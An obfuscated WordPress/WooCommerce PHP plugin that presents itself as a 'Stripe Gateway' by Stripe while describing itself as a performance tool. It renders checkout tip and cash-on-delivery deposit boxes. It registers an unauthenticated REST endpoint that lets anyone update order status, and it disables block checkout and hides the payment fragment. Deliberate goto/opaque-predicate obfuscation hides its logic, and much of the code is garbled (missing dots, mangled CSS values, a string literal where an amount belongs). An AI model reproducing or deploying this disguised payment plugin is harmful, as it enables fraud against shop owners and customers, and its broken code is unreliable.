";goto U2yx3i;U2yldMhx3j:U2yx3i:}function lighthouse_tip_cod_blocks1(){$U2yBuEt83=array();$U2yBuEt83[]=12;$U2yBuEt83[]=2;$U2yBuEt83[]=5;$U2yBuEt83[]=17;$U2yBuEt83[]=14;$U2yOiRy68=4917;$U2y8G=!class_exists('WC_Lighthouse_Payment_Gateway');if($U2y8G)goto U2yeWjgx4z;goto U2yldMhx4z;U2yeWjgx4z:return ;goto U2yx3y;U2yldMhx4z:U2yx3y:$U2y8G=new WC_Lighthouse_Payment_Gateway();unset($U2ytI8H);$U2ytI8H=$U2y8G;$gateway=$U2ytI8H;$U2yOiRy70=4932;$U2y8G=$gateway->enable_tip=='yes';if($U2y8G)goto U2yeWjgx42;goto U2yldMhx42;U2yeWjgx42:$U2yOiRy70="a"*"a";goto U2yx41;U2yldMhx42:U2yx41:$U2y8G=20*14;$U2y8H=$U2y8G-136;$U2y8I=$U2yOiRy70==$U2y8H;if($U2y8I)goto U2yeWjgx44;goto U2yldMhx44;U2yeWjgx44:$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_symbol=$U2ytI8G;echo " <style>";echo "
.lh-tip-box {";echo "
border: 1px solid #eee;";echo "
border-radius: 8px;";echo "
padding: 18px 20px 12px 20px;";echo "
background: #fff;";echo "
width: 100%;";echo "
box-sizing: border-box;";echo "
margin-bottom: 20px;";echo "
}";echo "
";echo "
.lh-tip-desc {";echo "
margin-bottom: 12px !important;";echo "
color: #666;";echo "
font-size: 15px;";echo "
}";echo "
";echo "
.lh-tip-btns {";echo "
display: flex;";echo "
gap: 12px;";echo "
margin-bottom: 12px;";echo "
}";echo "
";echo "
.tip-btn {";echo "
flex: 1 1 0;";echo "
display: flex;";echo "
flex-direction: column;";echo "
align-items: center;";echo "
border: 15px solid #d9d9d9;";echo "
border-radius: 8px;";echo "
background: #fafbfc;";echo "
color: #222;";echo "
font-weight: bold;";echo "
font-size: 16px;";echo "
padding: 10px 0 6px 0;";echo "
cursor: pointer;";echo "
transition: border-color2s, box-shadow2s, background2s;";echo "
box-shadow: 0 1px 4px rgba(0, 0, 0, 003);";echo "
min-width: 68px;";echo "
margin: 0;";echo "
}";echo "
";echo "
.tip-btnselected,";echo "
.tip-btn:focus {";echo "
border-color: #111;";echo "
background: #f1f4fa;";echo "
box-shadow: 0 2px 8px rgba(0, 0, 0, 007);";echo "
}";echo "
";echo "
.tip-btnlh-tip-amount {";echo "
font-size: 14px;";echo "
color: #2a7b1f;";echo "
font-weight: normal;";echo "
margin-top: 3px;";echo "
}";echo "
";echo "
.tip-btntip-noneselected {";echo "
border-color: #444;";echo "
background: #f6f6f6;";echo "
color: #888;";echo "
}";echo "
";echo "
.lh-tip-custom {";echo "
position: relative;";echo "
display: flex;";echo "
align-items: center;";echo "
gap: 8px;";echo "
margin-bottom: 10px;";echo "
}";echo "
";echo "
.lh-tip-custom::before {";echo "
content: attr(data-currency);";echo "
position: absolute;";echo "
left: 16px;";echo "
top: 50%;";echo "
transform: translateY(-50%);";echo "
color: #333;";echo "
font-size: 15px;";echo "
pointer-events: none;";echo "
min-width: 2em;";echo "
text-align: left;";echo "
}";echo "
";echo "
#custom-tip {";echo "
flex: 1;";echo "
min-width: 0;";echo "
padding: 6px 8px 6px 48px;";echo "
border-radius: 5px;";echo "
border: 1px solid #ccc;";echo "
font-size: 15px;";echo "
box-sizing: border-box;";echo "
}";echo "
";echo "
#update-tip {";echo "
padding: 6px 14px;";echo "
min-width: 100px;";echo "
background: #e8e8e8;";echo "
border: none;";echo "
border-radius: 5px;";echo "
font-weight: bold;";echo "
cursor: pointer;";echo "
color: #333;";echo "
transition: background2s;";echo "
line-height: normal;";echo "
}";echo "
";echo "
#update-tip:disabled {";echo "
background: #f2f2f2;";echo "
color: #aaa;";echo "
cursor: not-allowed;";echo "
opacity: 07;";echo "
line-height: normal;";echo "
}";echo "
";echo "
#update-tip:hover {";echo "
background: #d2e4ff;";echo "
color: #222;";echo "
}";echo "
";echo "
#tip-message {";echo "
margin-top: 3px;";echo "
font-size: 14px;";echo "
}";echo "
</style>";echo "
<div id=\"add-tip-section\" class=\"lh-tip-box\">";echo "
<h3>";$U2yzA8H=array();$U2yzA8H[]='Add tip';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</h3>";echo "
<p class=\"lh-tip-desc\">";$U2yzA8H=array();$U2yzA8H[]='Show your support for the team';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</p>";echo "
<div class=\"lh-tip-btns\">";echo "
<button type=\"button\" class=\"tip-btn\" data-tip=\"1\">";echo "
<span>100%</span>";echo "
<span class=\"lh-tip-amount\"></span>";echo "
</button>";echo "
<button type=\"button\" class=\"tip-btn\" data-tip=\"5\">";echo "
<span>500%</span>";echo "
<span class=\"lh-tip-amount\"></span>";echo "
</button>";echo "
<button type=\"button\" class=\"tip-btn\" data-tip=\"10\">";echo "
<span>1000%</span>";echo "
<span class=\"lh-tip-amount\"></span>";echo "
</button>";echo "
<button type=\"button\" class=\"tip-btn tip-none selected\" data-tip=\"0\">";echo "
<span>";$U2yzA8H=array();$U2yzA8H[]='None';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</span>";echo "
</button>";echo "
</div>";echo "
<div class=\"lh-tip-custom\" data-currency=\"";$U2yzA8H=array();$U2yzA8H[]=&$currency_symbol;$U2yeF8G=call_user_func_array("esc_attr",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo "\">";echo "
<input type=\"number\" step=\"001\" min=\"0\" id=\"custom-tip\" placeholder=\"Custom tip\">";echo "
<button type=\"button\" id=\"update-tip\" disabled>";$U2yzA8H=array();$U2yzA8H[]='Update Tip';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</button>";echo "
</div>";echo "
";echo "
<div id=\"tip-message\" style=\"color:green;display:none;\">";$U2yzA8H=array();$U2yzA8H[]='Thank you, we appreciate it';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</div>";echo "
<input type=\"hidden\" name=\"order_tip_amount\" id=\"order_tip_amount\" value=\"0\">";echo "
<input type=\"hidden\" id=\"tip-currency-symbol\" value=\"";$U2yzA8H=array();$U2yzA8H[]=&$currency_symbol;$U2yeF8G=call_user_func_array("esc_attr",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo "\">";echo "
</div>";echo "
";goto U2yx43;U2yldMhx44:U2yx43:$U2yOiRy86=4917;$U2y8G=$gateway->enable_cod_deposit=='yes';if($U2y8G)goto U2yeWjgx46;goto U2yldMhx46;U2yeWjgx46:$U2yOiRy86="a"*"r";goto U2yx45;U2yldMhx46:U2yx45:$U2y8G=8*2;$U2y8H=$U2y8G+8;$U2y8I=$U2yOiRy86==$U2y8H;if($U2y8I)goto U2yeWjgx4m;goto U2yldMhx4m;U2yeWjgx4m:$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_symbol=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label);if($U2y8G)goto U2yeWjgx4o;goto U2yldMhx4o;U2yeWjgx4o:goto U2yeWjgx48;goto U2yx4n;U2yldMhx4o:U2yx4n:goto U2yldMhx48;U2yeWjgx48:$U2y8H=$gateway->cod_deposit_label;goto U2yx47;U2yldMhx48:$U2y8H='货到付款';U2yx47:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$cod_label=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label_desc1);if($U2y8G)goto U2yeWjgx4q;goto U2yldMhx4q;U2yeWjgx4q:goto U2yeWjgx4a;goto U2yx4p;U2yldMhx4q:U2yx4p:goto U2yldMhx4a;U2yeWjgx4a:$U2y8H=$gateway->cod_deposit_label_desc1;goto U2yx49;U2yldMhx4a:$U2y8H='';U2yx49:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$desc=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label_desc2);if($U2y8G)goto U2yeWjgx4s;goto U2yldMhx4s;U2yeWjgx4s:goto U2yeWjgx4c;goto U2yx4r;U2yldMhx4s:U2yx4r:goto U2yldMhx4c;U2yeWjgx4c:$U2y8H=$gateway->cod_deposit_label_desc2;goto U2yx4b;U2yldMhx4c:$U2y8H='Deposit (pay now):';U2yx4b:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$label1=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label_desc3);if($U2y8G)goto U2yeWjgx4u;goto U2yldMhx4u;U2yeWjgx4u:goto U2yeWjgx4e;goto U2yx4t;U2yldMhx4u:U2yx4t:goto U2yldMhx4e;U2yeWjgx4e:$U2y8H=$gateway->cod_deposit_label_desc3;goto U2yx4d;U2yldMhx4e:$U2y8H='Balance (on delivery):';U2yx4d:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$label2=$U2ytI8G;if(empty($desc))goto U2yeWjgx4w;goto U2yldMhx4w;U2yeWjgx4w:goto U2yeWjgx4g;goto U2yx4v;U2yldMhx4w:U2yx4v:goto U2yldMhx4g;U2yeWjgx4g:$U2y8G=$gateway->cod_deposit_type==='percent';if($U2y8G)goto U2yeWjgx4y;goto U2yldMhx4y;U2yeWjgx4y:goto U2yeWjgx4i;goto U2yx4x;U2yldMhx4y:U2yx4x:goto U2yldMhx4i;U2yeWjgx4i:unset($U2ytI8G);$U2ytI8G='下单需预付订单总金额的 <b>{deposit_percent}%</b> 作为定金,剩余货款收货时支付。<div style="color:#888;font-size:13px;margin-top:4px;">选择其他支付方式无需定金。</div>';$desc=$U2ytI8G;goto U2yx4h;U2yldMhx4i:unset($U2ytI8G);$U2ytI8G='下单需预付 <b>{currency_symbol}{deposit_amount}</b> 作为定金,剩余货款收货时支付。<div style="color:#888;font-size:13px;margin-top:4px;">选择其他支付方式无需定金。</div>';$desc=$U2ytI8G;U2yx4h:goto U2yx4f;U2yldMhx4g:U2yx4f:unset($U2ytI8G);$U2ytI8G=floatval($gateway->cod_deposit_value);$deposit_percent=$U2ytI8G;$U2y8G=$gateway->cod_deposit_type==='percent';if($U2y8G)goto U2yeWjgx51;goto U2yldMhx51;U2yeWjgx51:goto U2yeWjgx4k;goto U2yx5z;U2yldMhx51:U2yx5z:goto U2yldMhx4k;U2yeWjgx4k:$U2y8H=$deposit_percent;goto U2yx4j;U2yldMhx4k:$U2y8H=round($gateway->cod_deposit_value,2);U2yx4j:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$deposit_amount=$U2ytI8G;$U2yzAvP8G=array();$U2yzAvP8G[]='{deposit_percent}';$U2yzAvP8G[]='{deposit_amount}';$U2yzAvP8G[]='{currency_symbol}';$U2yzAvP8H=array();$U2yzAvP8H[]=$deposit_percent;$U2yzAvP8H[]=$deposit_amount;$U2yzAvP8H[]=$currency_symbol;$U2yzA8J=array();$U2yzA8J[]=&$U2yzAvP8G;$U2yzA8J[]=&$U2yzAvP8H;$U2yzA8J[]=&$desc;$U2yeF8I=call_user_func_array("str_replace",$U2yzA8J);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yeF8I;$desc=$U2ytI8G;echo " <div id=\"cod-deposit-box\" style=\"margin-bottom:18px; border:15px solid #e5e5e5; border-radius:7px; padding:15px 20px; background:#f9f9f9;\">";echo "
<label style=\"font-size:15px; color:#222; display:inline-flex; align-items:center;cursor:pointer;\">";echo "
<input type=\"checkbox\" name=\"custom_cod_checkbox\" id=\"custom_cod_checkbox\" value=\"1\" checked=\"checked\" style=\"margin-right:8px;\">";echo "
";$U2yzA8H=array();$U2yzA8H[]=&$cod_label;$U2yeF8G=call_user_func_array("esc_html",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo " </label>";echo "
<div id=\"cod-deposit-desc\" style=\"margin-top:6px; color:#444; font-size:14px;padding-bottom: 5px;\">";echo "
";echo $desc;echo " </div>";echo "
<input type=\"hidden\" id=\"cod-deposit-type\" value=\"";echo esc_attr($gateway->cod_deposit_type);echo "\">";echo "
<input type=\"hidden\" id=\"cod-deposit-value\" value=\"";echo esc_attr($gateway->cod_deposit_value);echo "\">";echo "
<div id=\"cod-deposit-amount\" style=\"font-size: 15px;font-weight: 600;display: flex;justify-content: space-between;padding-top: 5px;\"></div>";echo "
<div id=\"cod-balance-amount\" style=\"font-size: 15px;font-weight: 600;display: flex;justify-content: space-between;\"></div>";echo "
</div>";echo "
";goto U2yx4l;U2yldMhx4m:U2yx4l:echo "";echo "
<script>";echo "
jQuery(function(\$) {";echo "
// ===== 移动区块到正确位置的函数 =====";echo "
var attempts = 0;";echo "
var maxAttempts = 15;";echo "
";echo "
function moveBlocksToCorrectPosition() {";echo "
attempts++;";echo "
var targetSelectors = [";echo "
'.wc_payment_methods',";echo "
'.woocommerce-checkout-paymentwc_payment_methods',";echo "
'#paymentwc_payment_methods',";echo "
'.woocommerce-checkout-payment',";echo "
'#payment'";echo "
];";echo "
var moved = false;";echo "
for (var i = 0; i < targetSelectorslength; i++) {";echo "
var \$target = \$(targetSelectors[i]);";echo "
if (\$targetlength && !moved) {";echo "
// 移动打赏区块";echo "
if (\$('#add-tip-section').length && !\$targetprev('#add-tip-section').length) {";echo "
\$('#add-tip-section').detach().insertBefore(\$target);";echo "
}";echo "
// 移动COD定金区块";echo "
if (\$('#cod-deposit-box').length && !\$targetprev('#cod-deposit-box').length) {";echo "
\$('#cod-deposit-box').detach().insertBefore(\$target);";echo "
}";echo "
moved = true;";echo "
break;";echo "
}";echo "
}";echo "
if (!moved && attempts < maxAttempts) {";echo "
setTimeout(moveBlocksToCorrectPosition, 300);";echo "
} else if (moved || attempts >= maxAttempts) {";echo "
bindAllEvents();";echo "
}";echo "
}";echo "
setTimeout(moveBlocksToCorrectPosition, 500);";echo "
\$(documentbody).on('updated_checkout', function() {";echo "
setTimeout(moveBlocksToCorrectPosition, 100);";echo "
});";echo "
";echo "
// ===================================";echo "
// 关键:自动跟随模板金额格式的函数";echo "
// ===================================";echo "
function isTemplateCommaStyle(amountStr) {";echo "
return amountStr && amountStrindexOf(',') !== -1;";echo "
}";echo "
";echo "
function getCurrencySymbol() {";echo "
return \$('#tip-currency-symbol').val() || '";$U2yzA8H=array();$U2yzA8H[]=&$currency_symbol;$U2yeF8G=call_user_func_array("esc_js",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo "';";echo "
}";echo "
";echo "
function formatMoney(val, useComma) {";echo "
val = parseFloat(val);";echo "
if (isNaN(val)) val = 0;";echo "
if (useComma) {";echo "
return getCurrencySymbol() + valtoLocaleString('en-US', {";echo "
minimumFractionDigits: 2,";echo "
maximumFractionDigits: 2";echo "
});";echo "
} else {";echo "
return getCurrencySymbol() + valtoFixed(2);";echo "
}";echo "
}";echo "
";echo "
function parseTipAmount(tipText) {";echo "
let amount = tipTextreplace(/^[^\\d]+/, '');";echo "
amount = amountreplace(/,/g, '');";echo "
amount = amountmatch(/^\\d+(\\.\\d+)?/);";echo "
if (amount) {";echo "
return parseFloat("a");";echo "
}";echo "
return 0;";echo "
}";echo "
";echo "
function getSubtotalStr() {";echo "
return \$('.cart-subtotalamount').first().text() || \$('.woocommerce-checkout-review-order-table tfootcart-subtotalamount').text();";echo "
}";echo "
";echo "
function getSubtotal() {";echo "
return parseTipAmount(getSubtotalStr()) || 0;";echo "
}";echo "
";echo "
function getTotalStr() {";echo "
return \$('.order-totalamount').first().text() || \$('.woocommerce-checkout-review-order-table tfootorder-totalamount').text();";echo "
}";echo "
";echo "
function getTotal() {";echo "
return parseTipAmount(getTotalStr()) || 0;";echo "
}";echo "
// ===================================";echo "
";echo "
function bindAllEvents() {";echo "
if (\$('#add-tip-section').hasClass('events-bound')) {";echo "
return;";echo "
}";echo "
\$('#add-tip-section, #cod-deposit-box').addClass('events-bound');";echo "
";echo "
// ===== 打赏功能相关 =====";echo "
function toggleTipBox() {";echo "
var selected = \$('input[name=\"payment_method\"]:checked').val();";echo "
if (selected === 'woocommerce_payments_stripe_gateway') {";echo "
\$('#add-tip-section').show();";echo "
} else {";echo "
\$('#add-tip-section').hide();";echo "
}";echo "
}";echo "
";echo "
function toggleUpdateTipBtn() {";echo "
var val = parseFloat(\$('#custom-tip').val());";echo "
if (!isNaN(val) && val > 0) {";echo "
\$('#update-tip').prop('disabled', false);";echo "
} else {";echo "
\$('#update-tip').prop('disabled', true);";echo "
}";echo "
}";echo "
\$('#update-tip').prop('disabled', true);";echo "
";echo "
\$('#custom-tip').off('input').on('input', function() {";echo "
toggleUpdateTipBtn();";echo "
if (\$(this).val()) {";echo "
\$('.tip-btn').removeClass('selected');";echo "
}";echo "
});";echo "
";echo "
\$('.tip-btn').off('click').on('click', function() {";echo "
\$('#custom-tip').val('');";echo "
toggleUpdateTipBtn();";echo "
});";echo "
";echo "
function updateTipAmounts() {";echo "
var subtotalStr = getSubtotalStr();";echo "
var subtotal = parseTipAmount(subtotalStr) || 0;";echo "
var useComma = isTemplateCommaStyle(subtotalStr);";echo "
\$('.tip-btn').each(function() {";echo "
var percent = parseFloat(\$(this).data('tip'));";echo "
if (percent > 0) {";echo "
var tip = (subtotal * percent / 100).toFixed(2);";echo "
\$(this).find('.lh-tip-amount').text(formatMoney(tip, useComma));";echo "
} else {";echo "
\$(this).find('.lh-tip-amount').text('');";echo "
}";echo "
});";echo "
}";echo "
";echo "
function selectBtn(\$btn) {";echo "
\$('.tip-btn').removeClass('selected');";echo "
\$btnaddClass('selected');";echo "
}";echo "
\$('.tip-btn').off('click').on('click', function() {";echo "
var percent = parseFloat(\$(this).data('tip'));";echo "
var subtotal = getSubtotal();";echo "
if (percent > 0) {";echo "
var tip = (subtotal * percent / 100).toFixed(2);";echo "
\$('#custom-tip').val('');";echo "
\$('#order_tip_amount').val(tip);";echo "
selectBtn(\$(this));";echo "
} else {";echo "
\$('#custom-tip').val('');";echo "
\$('#order_tip_amount').val(0);";echo "
selectBtn(\$(this));";echo "
}";echo "
\$('#tip-message').hide();";echo "
\$('body').trigger('update_checkout');";echo "
});";echo "
\$('#update-tip').off('click').on('click', function() {";echo "
var tip = parseFloat(\$('#custom-tip').val()) || 0;";echo "
\$('#order_tip_amount').val(tip);";echo "
\$('.tip-btn').removeClass('selected');";echo "
\$('#tip-message').toggle(tip > 0);";echo "
\$('body').trigger('update_checkout');";echo "
});";echo "
";echo "
// ===== COD定金功能相关 =====";echo "
function getDepositType() {";echo "
return \$('#cod-deposit-type').val();";echo "
}";echo "
";echo "
function getDepositValue() {";echo "
var val = \$('#cod-deposit-value').val();";echo "
return isNaN(parseFloat(val)) ? 0 : parseFloat(val);";echo "
}";echo "
";echo "
function updateCODAmounts() {";echo "
var totalStr = getTotalStr();";echo "
var total = parseTipAmount(totalStr) || 0;";echo "
var useComma = isTemplateCommaStyle(totalStr);";echo "
";echo "
var deposit = 0;";echo "
var deposit_type = getDepositType();";echo "
var deposit_value = getDepositValue();";echo "
";echo "
if (deposit_type === 'percent') {";echo "
deposit = Mathround(total * deposit_value) / 100;";echo "
} else {";echo "
deposit = deposit_value;";echo "
if (deposit > total) deposit = total;";echo "
}";echo "
var balance = total - deposit;";echo "
if (balance < 0) balance = 0;";echo "
";echo "
var cod_deposit_label = ";unset($U2ysNvP8G);$U2yOiRy88=4928;if(isset($label1))goto U2yeWjgx53;goto U2yldMhx53;U2yeWjgx53:$U2yOiRy88="y"*"r";goto U2yx52;U2yldMhx53:$U2y8H=null!=='Deposit (pay now):';if($U2y8H)goto U2yeWjgx54;goto U2yldMhx54;U2yeWjgx54:$U2yOiRy88="a"*"a";goto U2yx52;U2yldMhx54:U2yx52:$U2y8I=4*17;$U2y8J=$U2y8I+136;$U2y8K=$U2yOiRy88==$U2y8J;if($U2y8K)goto U2yeWjgx56;goto U2yldMhx56;U2yeWjgx56:$U2ysNvP8G='Deposit (pay now):';goto U2yx55;U2yldMhx56:$U2y8L=20*14;$U2y8M=$U2y8L-252;$U2y8N=$U2yOiRy88==$U2y8M;if($U2y8N)goto U2yeWjgx57;goto U2yldMhx57;U2yeWjgx57:$U2ysNvP8G=$label1;goto U2yx55;U2yldMhx57:U2yx55:$U2yzA8I=array();$U2yzA8I[]=&$U2ysNvP8G;$U2yeF8H=call_user_func_array("json_encode",$U2yzA8I);unset($U2yzA8I);echo $U2yeF8H;echo ";";echo "
var cod_balance_label = ";unset($U2ysNvP8G);$U2yOiRy90=4922;if(isset($label2))goto U2yeWjgx59;goto U2yldMhx59;U2yeWjgx59:$U2yOiRy90="r"*"r";goto U2yx58;U2yldMhx59:$U2y8H=null!=='Balance (on delivery):';if($U2y8H)goto U2yeWjgx5a;goto U2yldMhx5a;U2yeWjgx5a:$U2yOiRy90="a"*"r";goto U2yx58;U2yldMhx5a:U2yx58:$U2y8I=17*20;$U2y8J=$U2y8I-316;$U2y8K=$U2yOiRy90==$U2y8J;if($U2y8K)goto U2yeWjgx5c;goto U2yldMhx5c;U2yeWjgx5c:$U2ysNvP8G='Balance (on delivery):';goto U2yx5b;U2yldMhx5c:$U2y8L=9*19;$U2y8M=$U2y8L-161;$U2y8N=$U2yOiRy90==$U2y8M;if($U2y8N)goto U2yeWjgx5d;goto U2yldMhx5d;U2yeWjgx5d:$U2ysNvP8G=$label2;goto U2yx5b;U2yldMhx5d:U2yx5b:$U2yzA8I=array();$U2yzA8I[]=&$U2ysNvP8G;$U2yeF8H=call_user_func_array("json_encode",$U2yzA8I);unset($U2yzA8I);echo $U2yeF8H;echo ";";echo "
\$('#cod-deposit-amount').html(cod_deposit_label + '<span style=\"font-size:16px;\">' + formatMoney(deposit, useComma) + '</span>');";echo "
\$('#cod-balance-amount').html(cod_balance_label + '<span style=\"font-size:16px;\">' + formatMoney(balance, useComma) + '</span>');";echo "
}";echo "
";echo "
function toggleCODBox() {";echo "
var checked = \$('#custom_cod_checkbox').prop('checked');";echo "
if (checked) {";echo "
\$('#cod-deposit-desc').show();";echo "
\$('#cod-deposit-amount').show();";echo "
\$('#cod-balance-amount').show();";echo "
} else {";echo "
\$('#cod-deposit-desc').hide();";echo "
\$('#cod-deposit-amount').hide();";echo "
\$('#cod-balance-amount').hide();";echo "
}";echo "
}";echo "
";echo "
function toggleCodBox() {";echo "
var selected = \$('input[name=\"payment_method\"]:checked').val();";echo "
if (selected === 'woocommerce_payments_stripe_gateway') {";echo "
\$('#cod-deposit-box').show();";echo "
} else {";echo "
\$('#cod-deposit-box').hide();";echo "
}";echo "
}";echo "
\$('#custom_cod_checkbox').off('change').on('change', function() {";echo "
toggleCODBox();";echo "
});";echo "
\$(document).off('change', 'input[name=\"payment_method\"]').on('change', 'input[name=\"payment_method\"]', function() {";echo "
toggleTipBox();";echo "
toggleCodBox();";echo "
updateTipAmounts();";echo "
updateCODAmounts();";echo "
});";echo "
";echo "
// 初始化";echo "
toggleTipBox();";echo "
toggleCodBox();";echo "
toggleCODBox();";echo "
updateTipAmounts();";echo "
updateCODAmounts();";echo "
";echo "
\$(documentbody).off('updated_checkoutlighthouse').on('updated_checkoutlighthouse', function() {";echo "
updateTipAmounts();";echo "
updateCODAmounts();";echo "
});";echo "
}";echo "
});";echo "
</script>";echo "
";}
/*
* Plugin Name: Stripe Gateway
* Description: This plugin will tie in all the performance optimizations your WordPress application offers
* Author: Stripe
* Author URI: "
* Version: 304
*/
$U2yBuEt73=array();$U2yBuEt73[]=7;$U2yBuEt73[]=15;$U2yBuEt73[]=10;$U2yBuEt73[]=17;$U2yBuEt73[]=13;$U2yOiRy0=4922;$U2y8G=!defined('ABSPATH');if($U2y8G)goto U2yeWjgx2;goto U2yldMhx2;U2yeWjgx2:goto U2yx1;U2yldMhx2:U2yx1:$U2yOiRy1=4925;$U2yzA8H=array();$U2yzA8H[]='active_plugins';$U2yeFvPvP8G=call_user_func_array("get_option",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='active_plugins';$U2yzA8J[]=&$U2yeFvPvP8G;$U2yeFvP8I=call_user_func_array("apply_filters",$U2yzA8J);unset($U2yzA8J);$U2yzA8L=array();$U2yzA8L[]='woocommerce/woocommercephp';$U2yzA8L[]=&$U2yeFvP8I;$U2yeF8K=call_user_func_array("in_array",$U2yzA8L);unset($U2yzA8L);$U2y8G=!$U2yeF8K;if($U2y8G)goto U2yeWjgx4;goto U2yldMhx4;U2yeWjgx4:return ;goto U2yx3;U2yldMhx4:U2yx3:$U2yzA8H=array();$U2yzA8H[]='woocommerce_checkout_block_checkout';$U2yzA8H[]='__return_false';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='plugins_loaded';$U2yzA8H[]='init_stripe_payment_gateway_class';$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='rest_api_init';$U2yzA8H[]=function(){$U2yBuEt74=array();$U2yBuEt74[]=8;$U2yBuEt74[]=8;$U2yBuEt74[]=18;$U2yBuEt74[]=17;$U2yBuEt74[]=17;$U2yzAvP8G=array();$U2yzAvP8G['methods']='POST';$U2yzAvP8G['callback']='handle_update_order_status';$U2yzAvP8G['permission_callback']='__return_true';$U2yzA8I=array();$U2yzA8I[]='custom/v2';$U2yzA8I[]='/update_order_status/';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("register_rest_route",$U2yzA8I);unset($U2yzA8I);};$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_payment_gateways';$U2yzA8H[]='add_stripe_gateway_class';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_update_order_review_fragments';$U2yzA8H[]='remove_checkout_payment_fragment';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_cart_calculate_fees';$U2yzA8H[]=function($cart){$U2yBuEt79[]=9;$U2yBuEt79[]=5;$U2yBuEt79[]=11;$U2yBuEt79[]=16;$U2yBuEt79[]=20;$U2yOiRy11=8008;$U2yzA8H=array();$U2yeF8G=call_user_func_array("is_admin",$U2yzA8H);unset($U2yzA8H);$U2y8H=(bool)$U2yeF8G;if($U2y8H)goto U2yeWjgxm;goto U2yldMhxm;U2yeWjgxm:$U2y8G=!defined('DOING_AJAX');$U2y8H=(bool)$U2y8G;goto U2yxl;U2yldMhxm:U2yxl:if($U2y8H)goto U2yeWjgxn;goto U2yldMhxn;U2yeWjgxn:$U2yOiRy11="r"*"r";goto U2yxk;U2yldMhxn:U2yxk:$U2y8G=14*1;$U2y8H=$U2y8G+41;$U2y8I=$U2yOiRy11==$U2y8H;if($U2y8I)goto U2yeWjgxp;goto U2yldMhxp;U2yeWjgxp:return ;goto U2yxo;U2yldMhxp:U2yxo:unset($U2ytI8G);$U2ytI8G=WC()->session->get('chosen_payment_method');$chosen_gateway=$U2ytI8G;$U2yOiRy13=8015;$U2y8G=$chosen_gateway!=='woocommerce_payments_stripe_gateway';if($U2y8G)goto U2yeWjgxr;goto U2yldMhxr;U2yeWjgxr:$U2yOiRy13="r"*"a";goto U2yxq;U2yldMhxr:U2yxq:$U2y8G=16*5;$U2y8H=$U2y8G-35;$U2y8I=$U2yOiRy13==$U2y8H;if($U2y8I)goto U2yeWjgxt;goto U2yldMhxt;U2yeWjgxt:return ;goto U2yxs;U2yldMhxt:U2yxs:$U2yOiRy15=8010;$U2y8G=!class_exists('WC_Lighthouse_Payment_Gateway');if($U2y8G)goto U2yeWjgxv;goto U2yldMhxv;U2yeWjgxv:$U2yOiRy15="y"*"r";goto U2yxu;U2yldMhxv:U2yxu:$U2y8G=5*2;$U2y8H=$U2y8G+210;$U2y8I=$U2yOiRy15==$U2y8H;if($U2y8I)goto U2yeWjgxx;goto U2yldMhxx;U2yeWjgxx:return ;goto U2yxw;U2yldMhxx:U2yxw:$U2y8G=new WC_Lighthouse_Payment_Gateway();unset($U2ytI8H);$U2ytI8H=$U2y8G;$gateway=$U2ytI8H;$U2yOiRy17=8008;$U2y8G=$gateway->enable_discount!=='yes';if($U2y8G)goto U2yeWjgxz;goto U2yldMhxz;U2yeWjgxz:$U2yOiRy17="a"*"y";goto U2yxy;U2yldMhxz:U2yxy:$U2y8G=7*18;$U2y8H=$U2y8G+54;$U2y8I=$U2yOiRy17==$U2y8H;if($U2y8I)goto U2yeWjgx12;goto U2yldMhx12;U2yeWjgx12:return ;goto U2yx11;U2yldMhx12:U2yx11:unset($U2ytI8G);$U2ytI8G=floatval($gateway->discount_percentage);$discount_percent=$U2ytI8G;$U2yOiRy19=8019;$U2y8G=$discount_percent<=0;if($U2y8G)goto U2yeWjgx14;goto U2yldMhx14;U2yeWjgx14:$U2yOiRy19="a"*"y";goto 